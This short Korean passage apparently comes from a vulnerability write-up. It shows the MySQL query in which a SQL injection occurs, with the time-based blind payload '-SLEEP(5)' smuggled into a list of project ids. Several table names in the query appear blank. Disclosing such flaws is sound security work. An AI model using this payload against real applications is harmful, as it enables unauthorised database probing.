Mysql에서 인젝션이 발생하는 첫 번째 쿼리는 아래 예시와 같으며, "-SLEEP(5)"가 인젝션되는 부분입니다:
SELECT COUNT(*) FROM INNER JOIN ON . = . INNER JOIN ON . = . WHERE (((projects.status <> 9 AND EXISTS (SELECT 1 AS one FROM enabled_modules em WHERE em.project_id = projects.id AND em.name='issue_tracking')) AND (((projects.is_public = 1 AND projects.id NOT IN (SELECT project_id FROM members WHERE user_id IN (4,2))) AND ((issues.is_private = 0)))))) AND ((issues.status_id IN (SELECT id FROM issue_statuses WHERE is_closed=0)) AND projects.id IN (1,2,3-SLEEP(5)))
